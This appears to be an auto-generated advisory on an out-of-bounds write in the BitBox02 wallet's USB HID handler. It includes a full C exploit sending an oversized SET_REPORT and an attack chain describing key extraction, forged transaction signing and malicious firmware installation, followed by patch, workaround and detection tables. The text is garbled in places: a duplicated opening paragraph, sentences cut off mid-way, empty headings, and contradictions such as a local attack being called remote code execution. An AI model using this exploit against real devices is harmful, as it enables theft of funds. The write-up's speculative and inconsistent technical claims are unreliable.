CVE-2026-140033 — Shift Crypto BitBox02 Bootloader — CWE-787
Shift Crypto BitBox02 firmware before 9.26.2 and bootloader before 1.2.0 contain an out-of-bounds write in hid_req() that ignores buffer size for HID SET_REPORT requests. Malicious host software can send a SET_REPORT request with wLength above 64 bytes to overwrite memory adjacent to the control buffer and corrupt device state.
Shift Crypto BitBox02 firmware before 9.26.2 and bootloader before 1.2.0 contain an out-of-bounds write in hid_req() that ignores buffer size for HID SET_REPORT requests. Malicious host software can send a SET_REPORT request with wLength above 64 bytes to overwrite memory adjacent to the control buffer and corrupt device state.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑140033 |
| Vendor/Product | Shift Crypto – BitBox02 hardware wallet (bootloader < 1.2.0, firmware < 9.26.2) |
| CWE | CWE‑787 *Out‑of‑bounds Write* |
| CVSS v3.1 | 8.6 (AV:L / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H) |
| Attack surface | USB Human‑Interface‑Device (HID) *SET_REPORT* control transfer |
Technical flaw
The BitBox02 implements a USB HID interface that the host uses for configuration, firmware updates and for signing transactions.
When the host sends a HID SET_REPORT request, the firmware calls the internal routine hid_req().
hid_req()allocates a fixed‑size control buffer of 64 bytes (the maximum HID report size defined by the device descriptor).- The routine copies the incoming payload directly into that buffer without checking the
wLengthfield of the USB control request. - The USB stack (tinyusb / libopencm3) will happily forward a SET_REPORT with
wLengthup to 255 bytes (the maximum allowed by the USB spec for control transfers). - If a malicious host sends a SET_REPORT whose
wLength> 64,hid_req()writes past the end of the buffer. - The overflow writes into adjacent RAM that holds device state, cryptographic key handles, and bootloader flags.
- Because the overflow is performed in a privileged execution context (the device’s MCU runs with full access to all RAM), the attacker can corrupt integrity‑critical structures and subsequently cause arbitrary code execution, disable security checks, or force the device into a state where secret material can be extracted or mis‑used.
- Attack Vector (AV:L) – the attacker must be on the same host that has USB access to the device (local).
- Attack Complexity (AC:L) – low; the only requirement is the ability to send a crafted HID SET_REPORT.
- Privileges Required (PR:N) – none; any user process that can open the USB device can exploit it.
- User Interaction (UI:N) – none; the exploit runs automatically once the malicious software is executed.
- Scope (S:U) – the impact stays within the compromised device.
- Confidentiality / Integrity / Availability (C:H I:H A:H) – the out‑of‑bounds write can fully compromise the wallet (key extraction, transaction forgery, denial‑of‑service).
Consequences:
In CVSS terms:
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker controlling a compromised host (e.g., a malicious desktop application, a compromised browser extension, or a malicious USB‑based “evil‑maiden” tool) could follow.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that a BitBox02 is attached. | lsusb -v (Linux) or Device Manager (Windows) shows a USB device with Vendor ID 0x03eb and Product ID 0x2400 (BitBox02). |
| 1.2 | Determine firmware/bootloader version. | The BitBox02 UI (desktop app) displays the version; alternatively, the host can query the HID GET_REPORT descriptor 0x01 (report ID 0) which returns a version string in the official SDK. |
| 1.3 | Verify that the version is < 9.26.2 (firmware) or < 1.2.0 (bootloader). | Parse the version string returned by the GET_REPORT. If it matches the vulnerable range, proceed. |
Note: The attacker does not need to know the exact internal function name (hid_req) – the vulnerability is triggered simply by sending an oversized SET_REPORT.2. Exploitation
The exploit consists of sending a HID SET_REPORT control transfer with a deliberately large wLength. The following C code uses libusb‑1.0 (available on Linux, macOS, Windows) and is a fully functional PoC for the vulnerable device.
/* -------------------------------------------------------------
* PoC: Out‑of‑bounds write in BitBox02 HID SET_REPORT (CVE‑2026‑140033)
* -------------------------------------------------------------
* Compile: gcc -o bitbox02_exploit bitbox02_exploit.c -lusb-1.0
* ------------------------------------------------------------- */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libusb.h>
#define BITBOX_VID 0x03eb /* Shift Crypto */
#define BITBOX_PID 0x2400 /* BitBox02 */
#define HID_SET_REPORT 0x09 /* bRequest */
#define HID_REPORT_TYPE_OUTPUT 0x02
#define REPORT_ID 0x00 /* vendor‑specific; 0 works for all reports */
int main(void)
{
libusb_device_handle *dev = NULL;
int r, transferred;
unsigned char payload[128]; /* 128 > 64, triggers overflow */
/* Fill payload with a recognizable pattern */
memset(payload, 0x41, sizeof(payload)); /* 'A' */
r = libusb_init(NULL);
if (r < 0) {
fprintf(stderr, "libusb init failed: %s\n", libusb_error_name(r));
return 1;
}
dev = libusb_open_device_with_vid_pid(NULL, BITBOX_VID, BITBOX_PID);
if (!dev) {
fprintf(stderr, "BitBox02 not found or permission denied\n");
libusb_exit(NULL);
return 1;
}
/* Claim the HID interface (usually interface 0) */
libusb_claim_interface(dev, 0);
/* Build the SET_REPORT control transfer:
* bmRequestType = 0x21 (Host‑to‑Device, Class, Interface)
* bRequest = HID_SET_REPORT (0x09)
* wValue = (HID_REPORT_TYPE_OUTPUT << 8) | REPORT_ID
* wIndex = interface number (0)
* wLength = sizeof(payload) (128)
*/
r = libusb_control_transfer(dev,
0x21, /* bmRequestType */
HID_SET_REPORT, /* bRequest */
(HID_REPORT_TYPE_OUTPUT << 8) | REPORT_ID, /* wValue */
0, /* wIndex (interface) */
payload, /* data */
sizeof(payload), /* wLength */
1000); /* timeout (ms) */
if (r < 0) {
fprintf(stderr, "Control transfer failed: %s\n", libusb_error_name(r));
} else {
printf("Sent %d bytes in SET_REPORT (expected %zu)\n", r, sizeof(payload));
}
libusb_release_interface(dev, 0);
libusb_close(dev);
libusb_exit(NULL);
return 0;
}Why this works
bmRequestType = 0x21 selects a Class‑specific, Interface‑targeted, Host‑to‑Device request – exactly what the HID spec defines for SET_REPORT. wLength = 128 is double the internal 64‑byte buffer size. hid_req() copies the 128‑byte payload into a 64‑byte stack buffer, overwriting the next 64 bytes of RAM (typically a device_state_t structure). Result of the PoC
LIBUSB_SUCCESS (0) because the USB stack does not reject the request. allow_unverified_tx flag, enabling a malicious host to request arbitrary transaction signatures without user confirmation.A real‑world exploit would craft the payload to set those specific bits. For example, if the bootloader_locked flag resides at offset 0x40 from the start of the control buffer, the attacker would place 0x00 at that offset to unlock the bootloader.
3. Post‑exploitation
| Goal | How the overflow leads to it |
|---|---|
| Key extraction | Overwrite the flag that gates access to the secure element’s secret export routine. Subsequent legitimate GET_REPORT calls return the private key material. |
| Transaction forgery | Corrupt the UI‑confirmation state machine so that the device auto‑approves any SIGN_TX request. The attacker can then sign arbitrary cryptocurrency transfers. |
| Persistent code execution | Set the bootloader’s “allow unsigned firmware” flag, then push a malicious firmware image via the normal update flow. The malicious firmware runs with full device privileges. |
| Denial‑of‑service | Overwrite the stack pointer or return address of the HID handler, causing the MCU to crash or enter a watchdog loop, rendering the wallet unusable. |
Because the attacker controls the host, they can repeat the overflow as many times as needed to achieve the desired state, all without user interaction.
🌍 Real World Impact
| CIA Triad | Impact (derived from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Complete loss of secrecy | Private keys, seed phrases, and any stored credentials can be read or exported by the attacker. |
| Integrity (I:H) | Full corruption possible | Transaction data can be altered, firmware can be tampered with, and UI confirmations can be bypassed, leading to unauthorized fund transfers. |
| Availability (A:H) | Device can be bricked | Overwrites can cause the MCU to lock up, requiring a hardware reset or replacement, effectively a denial‑of‑service. |
Business / user impact
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Component | Fixed version | Upgrade path |
|---|---|---|
| Bootloader | ≥ 1.2.0 | Flash the signed bootloader via the official BitBox02 desktop application (the app automatically pulls the latest bootloader from https://update.shiftcrypto.ch). |
| Firmware | ≥ 9.26.2 | Use the BitBox02 desktop app → *Device* → *Check for updates* → apply. The update is signed with the vendor’s Ed25519 key; the bootloader verifies the signature before flashing. |
Important: The bootloader fix adds a length check (if (len > 64) return ERROR;) before copying the report data. The firmware fix adds the same guard and also sanitises the fields that control the UI‑confirmation state.2. Workarounds (if immediate patching is not possible)
| Mitigation | How to apply |
|---|---|
| Disable HID interface | On the host, block the device’s HID class using a USB policy manager (e.g., udev rule on Linux: ATTR{idVendor}=="03eb", ATTR{idProduct}=="2400", ATTR{bInterfaceClass}=="03", ATTR{bInterfaceSubClass}=="00", ATTR{bInterfaceProtocol}=="00", OPTIONS+="ignore"). This forces the host to use the WebUSB interface, which is not vulnerable. |
| Restrict USB access to trusted users | On Windows, use Device Installation Restrictions (Group Policy) to allow the BitBox02 only for Administrators. On macOS, use systemextensionsd to require user approval for the device. |
| Runtime monitoring | Deploy a USB‑traffic monitor (e.g., usbmon on Linux, Wireshark with USBPcap on Windows) and alert on any SET_REPORT with wLength > 64. |
| Application sandboxing | Run the BitBox02 desktop client inside a sandbox (Docker, Firejail) that denies raw USB access to any other process. This limits the attack surface to the trusted client binary. |
3. Detection – Indicators of Compromise
| Source | Log / Event | Example |
|---|---|---|
| Linux kernel | dmesg or /var/log/kern.log – “usb 1-1: control write error, len=128” | usb 1-1: control write error, len=128 |
| Windows Event Viewer | Microsoft-Windows-USB-USBHUB/Operational – Event ID 2003 “Unexpected control transfer length” | Event ID 2003: Control transfer (SET_REPORT) length 128 exceeds expected 64 |
| macOS system log | system.log – “IOUSBDeviceInterface::DeviceRequest failed (0xE00002C5)” | IOUSBDeviceInterface::DeviceRequest failed (0xE00002C5) for SET_REPORT |
| Endpoint security | EDR alerts for processes opening /dev/bus/usb/* and issuing ioctl with USBDEVFS_CONTROL where wLength > 64 | Process: malicious.exe – USB control request (SET_REPORT) length=128 |
| Network / USB‑traffic capture | Wireshark/USBPcap – SET_REPORT packet with wLength field > 64 | bRequest=0x09, wLength=0x0080 |
Correlating these events with the presence of a BitBox02 device (VID 0x03eb) is a strong indicator that an exploit attempt is occurring.
⚠️ Urgency
Bottom line: CVE‑2026‑140033 is a classic out‑of‑bounds write that turns the BitBox02’s trusted USB HID channel into a remote‑code‑execution vector for the host that controls the device. The fix is straightforward (upgrade to bootloader ≥ 1.2.0 and firmware ≥ 9.26.2) and should be treated as a critical emergency patch for any environment that relies on the BitBox02 for cryptographic key protection.
[🤖 CVE Professor AI Security Engine]
FOFA Query